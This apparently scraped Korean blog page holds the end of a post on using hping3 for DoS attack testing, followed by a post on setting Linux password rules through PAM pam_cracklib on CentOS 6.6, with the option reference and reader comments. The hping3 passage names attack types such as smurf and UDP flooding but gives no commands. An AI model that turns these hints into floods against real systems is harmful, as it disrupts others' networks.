이외에도 hping3를 이용하면 다양한 DOS 공격을 수행할 수 있다. 쉘스크립트 및 펄 스크립트를 이용해 내부적으로 hping3를 사용하는 스크립트를 작성하면 smurf attack, boink attack, udp fragmentation, udp flooding 등 대부분의 패킷을 조작하여 할 수 있는 TCP/IP 수준의 공격을 테스트해 볼 수 있다.


참 유용하면서도 위험한 명령어다. 참고로 이러한 공격은 라우터나 스위치 혹은 서버의 네트워크 설정에서 대부분 방어할 수 있기도 하다. 인터넷엔 이미 창봐 방패가 모두 공개되어 있다. 


신고
이 댓글을 비밀 댓글로
  1. 사실 접속 테스트 때문에 telnet이나 ping은 많이 사용하는데 이런 툴도 있었군요 ^^ 노트해 두어야 겠습니다
    • 저도 매번 옵션 지정하는 방법을 잊어버려서... ^^
      쉽게 찾을 수 있게 기록하는게 참 어렵습니다..

리눅스 패스워드 정책 설정 (CentOS 6.6 기준)

Posted by taeho Tae-Ho
2015.12.16 15:07 운영체제

RedHat의 클론 OS인 CentOS는 클론답게 RedHat 리눅스와 90% 이상 동일합니다. 심지어 커널버전이 동일하다면 RedCastle과 같은 커널수준에서 동작하는 SW도 문제없이 실행이 될 정도입니다. 아마도...패스워드 규칙도 마찬가지이지 않을까 생각합니다.


패스워드 정책이라 함은...


비밀번호 길이는 최소 8자...

비밀번호는 영문 알파벳, 숫자(최소1개), 특수문자(최소1개)가 포함되어야 함...

비밀번호는 사용자ID가 포함될 수 없음...

비밀번호 변경 시 이전에 사용한 패스워드는 3개까지 사용 금지...


등등..

비밀번호를 만들 때 지켜야할 "최소한"의 규칙을 말합니다. 비밀번호 정책은 "최소한"의 규칙입니다. 


리눅스도 이러한 비밀번호 규칙을 설정할 수 있습니다.


예전에는 아래 화면처럼 /etc/login.defs에서 이러한 규칙을 설정할 수 있었습니다.  (지금도 설정가능한지는 모르겠습니다만...안될거라고 예상되지만..)



최근에는 사용자 계정의 비밀번호 규칙을 설정하는 것이 조금 까다로워졌습니다. 바로 유닉스와 리눅스에서 공통으로 제공하는 플러그인 형태의 사용자 인증 모듈(PAM)에서 설정하도록 하고 있습니다.


PAM 모듈의 설정은 /etc/pam.d 에서 합니다. ssh remote(telnet), vsftpd 등 서비스별로 분리가 되어 있죠. 패스워드 규칙은 원래 passwd 라는 설정파일에서 정의하게 되어 있습니다. (아래 그림)



그런데 password 규칙은 system-auth 를 포함(include) 하도록 되어 있죠. 따라서 passwd 파일이 아닌 system-auth를 봐야 합니다. system-auth를 열어보면...다음과 같이 보입니다.



패스워드 규칙을 기본값으로 사용할 땐 위 이미지에서 주석처리(#) 된 행과같이 설정되어 있고 주석문 아래라인은 없습니다. retry 허용 횟수만 설정되어 있죠.

위 라인은 패스워드 변경 시에는 pam_cracklib.so 파일에 정의된 패스워드 규칙 검사 루틴을 호출하라는 뜻입니다. SO는 SharedObject (공유객체)의 의미로서 Windows의 DLL과 유사하다고 보면 됩니다. 리눅스와 유닉스에선 "공유 라이브러리"라고 부릅니다.


어쨌든 system-auth 파일을 위와같이 변경하고 테스트해보면 비밀번호를 12자 이상으로 설정(minlen=12)해야만 비밀번호 변경이 됩니다. 


minlen과 같이 옵션으로 사용할 수 있는 항목들은 다음을 참고하면 됩니다.


Options


debug


This option makes the module write information to syslog(3) indicating the behavior of the module (this option does not write password information to the log file).


authtok_type=XXX

The default action is for the module to use the following prompts when requesting passwords: "New UNIX password: " and "Retype UNIX password: ". The example word UNIX can be replaced with this option, by default it is empty.


retry=N

Prompt user at most N times before returning with error. The default is 1.


difok=N

This argument will change the default of 5 for the number of character changes in the new password that differentiate it from the old password.


minlen=N

The minimum acceptable size for the new password (plus one if credits are not disabled which is the default). In addition to the number of characters in the new password, credit (of +1 in length) is given for each different kind of character (other, upper, lower and digit). The default for this parameter is 9 which is good for a old style UNIX password all of the same type of character but may be too low to exploit the added security of a md5 system. Note that there is a pair of length limits in Cracklib itself, a "way too short" limit of 4 which is hard coded in and a defined limit (6) that will be checked without reference to minlen. If you want to allow passwords as short as 5 characters you should not use this module.


dcredit=N

(N >= 0) This is the maximum credit for having digits in the new password. If you have less than or N digits, each digit will count +1 towards meeting the current minlen value. The default for dcredit is 1 which is the recommended value for minlen less than 10.

(N < 0) This is the minimum number of digits that must be met for a new password.


ucredit=N

(N >= 0) This is the maximum credit for having upper case letters in the new password. If you have less than or N upper case letters each letter will count +1 towards meeting the current minlen value. The default for ucredit is 1 which is the recommended value for minlen less than 10.

(N < 0) This is the minimum number of upper case letters that must be met for a new password.


lcredit=N

(N >= 0) This is the maximum credit for having lower case letters in the new password. If you have less than or N lower case letters, each letter will count +1 towards meeting the current minlen value. The default for lcredit is 1 which is the recommended value for minlen less than 10.

(N < 0) This is the minimum number of lower case letters that must be met for a new password.


ocredit=N

(N >= 0) This is the maximum credit for having other characters in the new password. If you have less than or N other characters, each character will count +1 towards meeting the current minlen value. The default for ocredit is 1 which is the recommended value for minlen less than 10.

(N < 0) This is the minimum number of other characters that must be met for a new password.


minclass=N

The minimum number of required classes of characters for the new password. The default number is zero. The four classes are digits, upper and lower letters and other characters. The difference to the credit check is that a specific class if of characters is not required. Instead N out of four of the classes are required.


maxrepeat=N

Reject passwords which contain more than N same consecutive characters. The default is 0 which means that this check is disabled.


maxsequence=N

Reject passwords which contain monotonic character sequences longer than N. The default is 0 which means that this check is disabled. Examples of such sequence are '12345' or 'fedcb'. Note that most such passwords will not pass the simplicity check unless the sequence is only a minor part of the password.


maxclassrepeat=N

Reject passwords which contain more than N consecutive characters of the same class. The default is 0 which means that this check is disabled.


reject_username

Check whether the name of the user in straight or reversed form is contained in the new password. If it is found the new password is rejected.


gecoscheck

Check whether the words from the GECOS field (usualy full name of the user) longer than 3 characters in straight or reversed form are contained in the new password. If any such word is found the new password is rejected.


enforce_for_root

The module will return error on failed check also if the user changing the password is root. This option is off by default which means that just the message about the failed check is printed but root can change the password anyway.


use_authtok

This argument is used to force the module to not prompt the user for a new password but use the one provided by the previously stacked password module.


dictpath=/path/to/dict

Path to the cracklib dictionaries.


참고로 이 정책은 system-auth를 수정하고 저장한 뒤 다음번 passwd 명령을 실행할 때 바로 적용됩니다. 리부팅이나 재로그인이 필요하지 않습니다.

신고
이 댓글을 비밀 댓글로
  1. 사실 개발자 였던 시절엔 이런 password 규칙이 너무 귀찮았습니다^^ 그래도 보안을 생각하면 이런 규칙이 적용되어 있어야지요^^
    • 운용하는 서버의 대수가 많을 수록 그 귀찮음과 불편함음 급격하게 커지죠~ ^^